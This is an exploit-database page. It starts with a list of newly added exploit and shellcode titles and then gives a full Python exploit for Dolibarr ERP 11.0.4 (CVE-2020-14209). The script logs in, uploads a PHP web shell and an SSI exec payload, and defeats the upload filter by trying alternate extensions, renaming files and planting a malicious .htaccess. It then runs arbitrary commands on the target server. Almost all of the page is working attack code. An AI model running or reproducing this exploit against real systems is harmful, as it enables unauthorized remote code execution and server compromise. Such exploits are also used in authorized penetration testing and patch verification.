
95 changes to exploits/shellcodes Product Key Explorer 4.2.7 - 'multiple' Denial of Service (PoC) Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC) AgataSoft PingMaster Pro 2.1 - Denial of Service (PoC) Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC) WordPress Plugin WPGraphQL 1.3.5 - Denial of Service Sandboxie 5.49.7 - Denial of Service (PoC) WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) iDailyDiary 4.30 - Denial of Service (PoC) RarmaRadio 2.72.8 - Denial of Service (PoC) DupTerminator 1.4.5639.37199 - Denial of Service (PoC) Color Notes 1.4 - Denial of Service (PoC) Macaron Notes great notebook 5.5 - Denial of Service (PoC) My Notes Safe 5.3 - Denial of Service (PoC) n+otes 1.6.2 - Denial of Service (PoC) Telegram Desktop 2.9.2 - Denial of Service (PoC) Mini-XML 3.2 - Heap Overflow Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) MariaDB 10.2 - 'wsrep_provider' OS Command Execution Microsoft Internet Explorer 11 and WPAD service 'Jscript.dll' - Use-After-Free Visual Studio Code 1.47.1 - Denial of Service (PoC) DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2) Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC) GNU Wget < 1.18 - Arbitrary File Upload (2) WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS) E-Learning System 1.0 - Authentication Bypass PEEL Shopping 9.3.0 - 'Comments' Persistent Cross-Site Scripting GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Persistent Cross-Site Scripting Selea Targa 512 IP OCR-ANPR Camera - Stream Disclosure (Unauthenticated) Library System 1.0 - Authentication Bypass Web Based Quiz System 1.0 - 'name' Persistent Cross-Site Scripting Dolibarr ERP 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) GetSimple CMS My SMTP Contact Plugin 1.1.1 - Cross-Site Request Forgery GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) Umbraco v8.14.1 - 'baseUrl' SSRF Cacti 1.2.12 - 'filter' SQL Injection GetSimple CMS Custom JS 0.1 - Cross-Site Request Forgery Internship Portal Management System 1.0 - Remote Code Execution(Unauthenticated) Markdown Explorer 0.1.1 - Persistent Cross-Site Scripting Xmind 2020 - Persistent Cross-Site Scripting Tagstoo 2.0.1 - Persistent Cross-Site Scripting SnipCommand 0.1.0 - Persistent Cross-Site Scripting Moeditor 0.2.0 - Persistent Cross-Site Scripting Marky 0.0.1 - Persistent Cross-Site Scripting StudyMD 0.3.2 - Persistent Cross-Site Scripting Freeter 1.2.1 - Persistent Cross-Site Scripting Markright 1.0 - Persistent Cross-Site Scripting Markdownify 1.2.0 - Persistent Cross-Site Scripting Anote 1.0 - Persistent Cross-Site Scripting Subrion CMS 4.2.1 - Arbitrary File Upload Printable Staff ID Card Creator System 1.0 - 'email' SQL Injection Schlix CMS 2.2.6-6 - Arbitary File Upload (Authenticated) Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) CHIYU IoT Devices - Denial of Service (DoS) Zenario CMS 8.8.52729 - 'cID' SQL injection (Authenticated) TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal Atlassian Jira Server Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS) Scratch Desktop 3.17 - Remote Code Execution Church Management System 1.0 - Arbitrary File Upload (Authenticated) Phone Shop Sales Managements System 1.0 - Arbitrary File Upload Zoo Management System 1.0 - 'Multiple' Persistent Cross-Site-Scripting (XSS) WordPress Plugin Current Book 1.0.1 - 'Book Title' Persistent Cross-Site Scripting ForgeRock Access Manager 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) KevinLAB BEMS 1.0 - Authentication Bypass Event Registration System with QR Code 1.0 - Authentication Bypass CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) Panasonic Sanyo CCTV Network Camera 2.03-0x - Cross-Site Request Forgery (Change Password) qdPM 9.2 - Password Exposure (Unauthenticated) ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) Movable Type 7 r.5002 - XMLRPC API OS Command Injection (Metasploit) GeoVision Geowebserver 5.3.3 - Local FIle Inclusion Simple Phone Book 1.0 - 'Username' SQL Injection (Unauthenticated) Umbraco CMS 8.9.1 - Directory Traversal Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Dolibarr ERP 14.0.1 - Privilege Escalation Compro Technology IP Camera - 'killps.cgi' Denial of Service (DoS) Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation Phpwcms 1.9.30 - Arbitrary File Upload Windows/x86 - Download File (http://10.10.10.5:8080/2NWyfQ9T.hta) Via mshta + Execute + Stager Shellcode (143 bytes) Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes) Linux/x64 - execve _cat /etc/shadow_ Shellcode (66 bytes) Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes) Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes) Linux/x86 - setreuid(0) + execve(_/bin/sh_) Shellcode (29 bytes) Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes) Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes) Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes) Windows/x86 - MessageBoxA PEB & Export Address Table NullFree/Dynamic Shellcode (230 bytes)
216 lines
No EOL
8 KiB
Python
Executable file
216 lines
No EOL
8 KiB
Python
Executable file
# Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE)
|
|
# Date: 16/06/2020
|
|
# Exploit Author: Andrea Gonzalez
|
|
# Vendor Homepage: https://www.dolibarr.org/
|
|
# Software Link: https://github.com/Dolibarr/dolibarr
|
|
# Version: Prior to 11.0.5
|
|
# Tested on: Debian 9.12
|
|
# CVE : CVE-2020-14209
|
|
|
|
#!/usr/bin/python3
|
|
|
|
# Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested.
|
|
|
|
import re
|
|
import sys
|
|
import random
|
|
import string
|
|
import argparse
|
|
import requests
|
|
import urllib.parse
|
|
from urllib.parse import urlparse
|
|
|
|
session = requests.Session()
|
|
base_url = "http://127.0.0.1/htdocs/"
|
|
documents_url = "http://127.0.0.1/documents/"
|
|
proxies = {}
|
|
user_id = -1
|
|
|
|
class bcolors:
|
|
BOLD = '\033[1m'
|
|
HEADER = '\033[95m'
|
|
OKBLUE = '\033[94m'
|
|
OKGREEN = '\033[92m'
|
|
WARNING = '\033[93m'
|
|
FAIL = '\033[91m'
|
|
ENDC = '\033[0m'
|
|
|
|
def printc(s, color):
|
|
print(f"{color}{s}{bcolors.ENDC}")
|
|
|
|
def read_args():
|
|
parser = argparse.ArgumentParser(description='Dolibarr exploit - Choose one or more methods (extension-bypass, htaccess, file-renaming). If no method is chosen, every method is tested.')
|
|
parser.add_argument('base_url', metavar='base_url', help='Dolibarr base URL.')
|
|
parser.add_argument('-d', '--documents-url', dest='durl', help='URL where uploaded documents are stored (default is base_url/../documents/).')
|
|
parser.add_argument('-c', '--command', dest='cmd', default="id", help='Command to execute (default "id").')
|
|
parser.add_argument('-x', '--proxy', dest='proxy', help='Proxy to be used.')
|
|
parser.add_argument('--extension-bypass', dest='fbypass', action='store_true',
|
|
default=False,
|
|
help='Files with executable extensions are uploaded trying to bypass the file extension blacklist.')
|
|
parser.add_argument('--file-renaming', dest='frenaming', action='store_true',
|
|
default=False,
|
|
help='A PHP script is uploaded and .php extension is added using file renaming function.')
|
|
parser.add_argument('--htaccess', dest='htaccess', action='store_true',
|
|
default=False,
|
|
help='Apache .htaccess file is uploaded so files with .noexe extension can be executed as a PHP script.')
|
|
required = parser.add_argument_group('required named arguments')
|
|
required.add_argument('-u', '--user', help='Username', required=True)
|
|
required.add_argument('-p', '--password', help='Password', required=True)
|
|
return parser.parse_args()
|
|
|
|
def error(s, end=False):
|
|
printc(s, bcolors.HEADER)
|
|
if end:
|
|
sys.exit(1)
|
|
|
|
"""
|
|
Returns user id
|
|
"""
|
|
def login(user, password):
|
|
data = {
|
|
"actionlogin": "login",
|
|
"loginfunction": "loginfunction",
|
|
"username": user,
|
|
"password": password
|
|
}
|
|
login_url = urllib.parse.urljoin(base_url, "index.php")
|
|
r = session.post(login_url, data=data, proxies=proxies)
|
|
try:
|
|
regex = re.compile(r"user/card.php\?id=(\d+)")
|
|
match = regex.search(r.text)
|
|
return int(match.group(1))
|
|
except Exception as e:
|
|
#error(e)
|
|
return -1
|
|
|
|
def upload(filename, payload):
|
|
files = {
|
|
"userfile": (filename, payload),
|
|
}
|
|
data = {
|
|
"sendit": "Send file"
|
|
}
|
|
headers = {
|
|
"Referer": base_url
|
|
}
|
|
upload_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
|
|
session.post(upload_url, files=files, headers=headers, data=data, proxies=proxies)
|
|
|
|
def delete(filename):
|
|
data = {
|
|
"action": "confirm_deletefile",
|
|
"confirm": "yes",
|
|
"urlfile": filename
|
|
}
|
|
headers = {
|
|
"Referer": base_url
|
|
}
|
|
delete_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
|
|
session.post(delete_url, headers=headers, data=data, proxies=proxies)
|
|
|
|
def rename(filename, new_filename):
|
|
data = {
|
|
"action": "renamefile",
|
|
"modulepart": "user",
|
|
"renamefilefrom": filename,
|
|
"renamefileto": new_filename,
|
|
"renamefilesave": "Save"
|
|
}
|
|
headers = {
|
|
"Referer": base_url
|
|
}
|
|
rename_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
|
|
session.post(rename_url, headers=headers, data=data, proxies=proxies)
|
|
|
|
def test_payload(filename, payload, query, headers={}):
|
|
file_url = urllib.parse.urljoin(documents_url, "users/%d/%s?%s" % (user_id, filename, query))
|
|
r = session.get(file_url, headers=headers, proxies=proxies)
|
|
if r.status_code != 200:
|
|
error("Error %d %s" % (r.status_code, file_url))
|
|
elif payload in r.text:
|
|
error("Non-executable %s" % file_url)
|
|
else:
|
|
printc("Payload was successful! %s\nOutput: %s" % (file_url, r.text.strip()), bcolors.OKGREEN)
|
|
return True
|
|
return False
|
|
|
|
def get_random_filename():
|
|
return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
|
|
|
|
def upload_executable_file_php(payload, query):
|
|
php_extensions = [".php", ".pht", ".phpt", ".phar", ".phtml", ".php3", ".php4", ".php5", ".php6", ".php7"]
|
|
random_filename = get_random_filename()
|
|
b = False
|
|
for extension in php_extensions:
|
|
filename = random_filename + extension
|
|
upload(filename, payload)
|
|
if test_payload(filename, payload, query):
|
|
b = True
|
|
return b
|
|
|
|
def upload_executable_file_ssi(payload, command):
|
|
filename = get_random_filename() + ".shtml"
|
|
upload(filename, payload)
|
|
return test_payload(filename, payload, '', headers={'ACCEPT': command})
|
|
|
|
def upload_and_rename_file(payload, query):
|
|
filename = get_random_filename() + ".php"
|
|
upload(filename, payload)
|
|
rename(filename + ".noexe", filename)
|
|
return test_payload(filename, payload, query)
|
|
|
|
def upload_htaccess(payload, query):
|
|
filename = get_random_filename() + ".noexe"
|
|
upload(filename, payload)
|
|
filename_ht = get_random_filename() + ".htaccess"
|
|
upload(filename_ht, "AddType application/x-httpd-php .noexe\nAddHandler application/x-httpd-php .noexe\nOrder deny,allow\nAllow from all\n")
|
|
delete(".htaccess")
|
|
rename(filename_ht, ".htaccess")
|
|
return test_payload(filename, payload, query)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
args = read_args()
|
|
base_url = args.base_url if args.base_url[-1] == '/' else args.base_url + '/'
|
|
documents_url = args.durl if args.durl else urllib.parse.urljoin(base_url, "../documents/")
|
|
documents_url = documents_url if documents_url[-1] == '/' else documents_url + '/'
|
|
user = args.user
|
|
password = args.password
|
|
payload = "<?php system($_GET['cmd']) ?>"
|
|
payload_ssi = '<!--#exec cmd="$HTTP_ACCEPT" -->'
|
|
command = args.cmd
|
|
query = "cmd=%s" % command
|
|
if args.proxy:
|
|
proxies = {"http": args.proxy, "https": args.proxy}
|
|
|
|
user_id = login(user, password)
|
|
if user_id < 0:
|
|
error("Login error", True)
|
|
printc("Successful login, user id found: %d" % user_id, bcolors.OKGREEN)
|
|
print('-' * 30)
|
|
if not args.fbypass and not args.frenaming and not args.htaccess:
|
|
args.fbypass = args.frenaming = args.htaccess = True
|
|
|
|
if args.fbypass:
|
|
printc("Trying extension-bypass method\n", bcolors.BOLD)
|
|
b = upload_executable_file_php(payload, query)
|
|
b = upload_executable_file_ssi(payload_ssi, command) or b
|
|
if b:
|
|
printc("\nextension-bypass was successful", bcolors.OKBLUE)
|
|
else:
|
|
printc("\nextension-bypass was not successful", bcolors.WARNING)
|
|
print('-' * 30)
|
|
if args.frenaming:
|
|
printc("Trying file-renaming method\n", bcolors.BOLD)
|
|
if upload_and_rename_file(payload, query):
|
|
printc("\nfile-renaming was successful", bcolors.OKBLUE)
|
|
else:
|
|
printc("\nfile-renaming was not successful", bcolors.WARNING)
|
|
print('-' * 30)
|
|
if args.htaccess:
|
|
printc("Trying htaccess method\n", bcolors.BOLD)
|
|
if upload_htaccess(payload, query):
|
|
printc("\nhtaccess was successful", bcolors.OKBLUE)
|
|
else:
|
|
printc("\nhtaccess was not successful", bcolors.WARNING)
|
|
print('-' * 30) |